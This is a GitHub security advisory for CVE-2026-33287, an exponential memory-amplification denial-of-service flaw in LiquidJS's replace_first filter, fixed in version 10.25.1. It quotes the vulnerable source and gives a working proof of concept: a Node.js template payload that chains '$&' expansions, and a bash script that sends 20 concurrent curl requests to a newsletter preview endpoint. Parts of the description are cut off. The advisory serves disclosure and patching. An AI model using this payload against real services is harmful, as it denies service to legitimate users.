GitHub Advisoryadvisory · npm

GHSA-6q5m-63h6-5x4v LiquidJS has Exponential Memory Amplification through its replace_first Filter $& Pattern

HIGH Published 2026-03-25 Modified 2026-10-29 Official page ↗
Aliases
CVE-2026-33287
Ecosystem
npm
Packages
liquidjs
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-20, CWE-400
Reviewed
2026-03-25

Affected packages

• npm liquidjs: < 10.25.1 → fixed in 10.25.1

Description

Summary The `replace_first` filter in LiquidJS uses JavaScript's `String.prototype.replace()` which interprets `$&` as a backreference to the matched substring. The filter only charges `memoryLimit` for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the `memoryLimit` budget, leading to denial of service. Details The `replace_first` filter in `src/builtin/filters/string.ts:130-133` delegates to JavaScript's native `String.prototype.replace()`. This native method interprets special replacement patterns including `$&` (insert the matched substring), `$'` (insert the portion after the match), and `` $` `` (insert the portion before the match). The filter calls `memoryLimit.use(str.length)` to account for the input string's memory cost, but the output string — potentially many times larger due to `$&` expansion — is never charged against the memory limit. An attacker can build a 1MB string (within `memoryLimit` budget), then use `replace_first` with a replacement string containing 50 repetitions of `$&`. Each `$&` expands to the full matched string (1MB), producing a 50MB output that is not charged to the memory counter. By chaining this technique across multiple variable assignments, exponential amplification is achieved: | Stage | Input Size | `$&` Repetitions | Output Size | Cumulative `memoryLimit` Charge | |-------|-----------|-------------------|-------------|-------------------------------| | 1 | 1 byte | 50 | 50 bytes | ~1 byte | | 2 | 50 bytes | 50 | 2,500 bytes | ~51 bytes | | 3 | 2,500 bytes | 50 | 125 KB | ~2.6 KB | | 4 | 125 KB | 50 | 6.25 MB | ~128 KB | | 5 | 6.25 MB | 50 | 312.5 MB | ~6.38 MB | Total amplification factor: ~625,000:1 (312.5 MB output vs. ~6.38 MB charged to `memoryLimit`). Notably, the sibling `replace` filter uses `str.split(pattern).join(replacement)`, which treats `$&` as a literal string and is therefore not vulnerable. The `replace_last` filter uses manual substring operations and is also safe. Only `replace_first` is affected. ```typescript // src/builtin/filters/string.ts:130-133 — VULNERABLE export function replace_first (v: string, arg1: string, arg2: string) { const str = stringify(v) this.context.memoryLimit.use(str.length) // Only charges input return str.replace(stringify(arg1), arg2) // $& expansion uncharged! } // src/builtin/filters/string.ts:125-129 — SAFE (for comparison) export function replace (v: string, arg1: string, arg2: string) { const str = stringify(v) this.context.memoryLimit.use(str.length) return str.split(stringify(arg1)).join(arg2) // split/join: $& treated as literal } ``` PoC Prerequisites: • `npm install [email protected]` • An application that renders user-provided Liquid templates (CMS, newsletter editor, SaaS platform, etc.) Save the following as `poc_replace_first_amplification.js` and run with `node poc_replace_first_amplification.js`: ```javascript const { Liquid } = require('liquidjs'); (async () => { const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit // Step 1 — Verify $& expansion in replace_first console.log('=== Step 1: $& expansion in replace_first ==='); const step1 = '{{ "HELLO" | replace_first: "HELLO", "$&-$&-$&" }}'; console.log('Result:', await engine.parseAndRender(step1)); // Output: "HELLO-HELLO-HELLO" — $& expanded to matched string // Step 2 — Verify replace (split/join) is safe console.log('\n=== Step 2: replace is safe ==='); const step2 = '{{ "ABCDE" | replace: "ABCDE", "$&$&$&" }}'; console.log('Result:', await engine.parseAndRender(step2)); // Output: "$&$&$&" — $& treated as literal // Step 3 — 5-stage exponential amplification (50x per stage) console.log('\n=== Step 3: Exponential amplification (625,000:1) ==='); const amp50 = '$&'.repeat(50); const step3 = [ '{% assign s = "A" %}', '{% assign s = s | replace_first: s, "' + amp50 + '" %}', '{% assign s = s | replace_first: s, "' + amp50 + '" %}', '{% assign s = s | replace_first: s, "' + amp50 + '" %}', '{% assign s = s | replace_first: s, "' + amp50 + '" %}', '{% assign s = s | replace_first: s, "' + amp50 + '" %}', '{{ s | size }}' ].join(''); const startMem = process.memoryUsage().heapUsed; const result = await engine.parseAndRender(step3); const endMem = process.memoryUsage().heapUsed; console.log('Output string size:', result.trim(), 'bytes'); // "312500000" console.log('Heap increase:', ((endMem - startMem) / 1e6).toFixed(1), 'MB'); console.log('Amplification: ~625,000:1 (1 byte input -> 312.5 MB output)'); console.log('memoryLimit charged: `$&` is a JavaScript `String.prototype.replace()` backreference pattern that inserts the entire matched string. Each stage amplifies 50x → 5 stages = 50^5 = 312,500,000 characters (~312.5MB). `{{ s }}` forces the full output into the HTTP response, keeping memory allocated during transfer and blocking the Node.js event loop. ```bash !/bin/bash DoS demonstration: 20 concurrent attacks + legitimate user latency measurement DOLLAR='$&' REP50=$(printf "${DOLLAR}%.0s" {1..50}) PAYLOAD="{% assign s = \"A\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{{ s }}" echo "=== Advisory 2 DoS: 20 concurrent + normal user ===" 20 DoS attack requests (per-request timing) for i in $(seq 1 20); do ( t1=$(date +%s%3N) curl -s -o /dev/null --max-time 120 -X POST "http:///newsletter/preview" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "template=$PAYLOAD" t2=$(date +%s%3N) echo "DoS[$i]: $(( t2 - t1 ))ms" ) & done Legitimate user requests at 0s, 3s, 6s ( t1=$(date +%s%3N) curl -s -o /dev/null --max-time 60 -X POST "http:///newsletter/preview" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "template=Hello" t2=$(date +%s%3N) echo "Normal[0s]: $(( t2 - t1 ))ms" ) & ( sleep 3 t1=$(date +%s%3N) curl -s -o /dev/null --max-time 60 -X POST "http:///newsletter/preview" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "template=Hello" t2=$(date +%s%3N) echo "Normal[3s]: $(( t2 - t1 ))ms" ) & ( sleep 6 t1=$(date +%s%3N) curl -s -o /dev/null --max-time 60 -X POST "http:///newsletter/preview" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "template=Hello" t2=$(date +%s%3N) echo "Normal[6s]: $(( t2 - t1 ))ms" ) & wait echo "=== Done ===" ``` Empirical results (No…

Related

Alias · CVE (1)

  • CVE-2026-33287 LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. vulnerability

Weakness · CWE (2)

  • CWE-20 Improper Input Validation weakness
  • CWE-400 Uncontrolled Resource Consumption weakness

References